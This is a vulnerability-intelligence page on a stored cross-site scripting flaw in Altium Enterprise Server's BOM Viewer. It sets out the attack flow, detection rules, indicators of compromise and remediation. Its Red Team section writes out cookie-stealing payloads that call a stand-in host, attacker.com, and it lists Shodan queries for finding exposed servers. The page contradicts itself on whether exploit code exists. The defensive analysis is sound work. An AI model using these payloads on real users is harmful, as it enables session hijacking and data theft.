☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27379

CVE-2025-27379 Cross-Site Scripting in Altium
📅 PUBLISHED: 2026-01-22 01:17 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27379 is a stored cross-site scripting (XSS) vulnerability discovered in the BOM Viewer component of Altium AES (Altium Enterprise Server) version 7.0.3. An authenticated attacker can inject arbitrary JavaScript into the Description field of a schematic. When the BOM Viewer renders the affected content, the injected script executes in the context of any user viewing that BOM, leading to data theft, session hijacking, or further internal attacks. The vulnerability has a CVSS score of 6.8 (Medium), and no official patch or exploit code has been released at this time. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for organizations using this version internally.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.8 (Medium)
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): Low – attacker must be authenticated to the Altium system.
  • User Interaction (UI): Required – a victim user must view the malicious BOM.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure possible.
  • Integrity (I): Low – limited ability to modify data.
  • Availability (A): Low – limited impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but once inside, the stored XSS can be used to pivot to other users and systems.

Deep Dive & Mechanics

The vulnerability resides in the BOM Viewer module of Altium AES 7.0.3. The BOM Viewer is responsible for rendering Bill of Materials (BOM) data from schematics. The Description field of a schematic component is not properly sanitized before being stored and later rendered in the BOM Viewer.

Attack Flow:

  1. An authenticated attacker with access to create or edit schematics inserts a malicious payload into the Description field of a component. Example payload: <img src=x onerror=alert('XSS')>.
  2. The payload is stored in the database without sanitization.
  3. When any user (including administrators) opens the BOM Viewer for that schematic, the server renders the Description field as HTML.
  4. The injected JavaScript executes in the victim's browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Root Cause: Lack of output encoding or input sanitization in the BOM Viewer rendering pipeline. The Description field is likely rendered using innerHTML or similar unsafe methods.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// Server-side rendering (e.g., in a template)
function renderBOM(component) {
    return `<div class="description">${component.description}</div>`;
}

Patched Code (Conceptual):

// Server-side rendering with output encoding
function renderBOM(component) {
    const safeDescription = encodeHTML(component.description);
    return `<div class="description">${safeDescription}</div>`;
}

function encodeHTML(str) {
    return str.replace(/&/g, '&amp;')
              .replace(/</g, '&lt;')
              .replace(/>/g, '&gt;')
              .replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

Key Difference: The patched version uses HTML entity encoding to neutralize any HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Valid credentials for an Altium AES 7.0.3 instance.
  • Ability to create or edit a schematic component.

Exploitation Steps:

  1. Log in to Altium AES.
  2. Navigate to a schematic project and open a component for editing.
  3. In the Description field, inject a payload such as:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  4. Save the component.
  5. Wait for an administrator or other user to view the BOM Viewer for that schematic.
  6. The victim's browser executes the payload, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('data=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual characters in the Description field of schematics (e.g., <, >, script, onerror).
  • Alert on any outbound HTTP requests from the Altium server to unknown external domains.
  • Review web server logs for requests to the BOM Viewer endpoint with suspicious query parameters.

Hardening:

  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to schematic endpoints.
  • Enforce Content Security Policy (CSP) headers on the Altium server to restrict script execution.
  • Restrict user permissions to only those who need to edit schematics.
  • Regularly audit schematic Description fields for malicious content.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown domains from the Altium server.
    • Suspicious Referer headers pointing to the BOM Viewer URL.
  • File IOCs:
    • Schematic files containing HTML tags in the Description field.
  • Log IOCs:
    • Web server logs showing POST requests to schematic endpoints with payloads containing <script> or <img onerror>.
  • Behavioral IOCs:
    • Unauthorized changes to schematic components by users who normally do not edit them.
    • Multiple failed login attempts followed by successful BOM Viewer access.

Detection Engineering

YARA Rule

rule Detect_Altium_XSS_Description {
    meta:
        description = "Detects stored XSS payloads in Altium schematic Description fields"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27379"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /onmouseover[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: Altium AES BOM Viewer Stored XSS
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts in Altium AES schematic Description fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: altium
detection:
    selection:
        http_method: 'POST'
        url_path: '/api/schematic/update'
        body|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27379 Altium AES Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/api/schematic/update"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable BOM Viewer if not critical for operations.
  2. Restrict schematic editing permissions to only trusted users.
  3. Implement input validation on the Description field to strip HTML tags.
  4. Apply a WAF rule to block XSS patterns in schematic update requests.

Long-Term Fix:

  • Upgrade to a patched version of Altium AES once available.
  • Conduct a code review of the BOM Viewer rendering logic to ensure proper output encoding.
  • Implement a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'none';.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to sanitize or block malicious payloads before they reach the Altium server.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:"Altium" port:80
http.title:"Altium"
http.html:"Altium" "BOM Viewer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27379/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.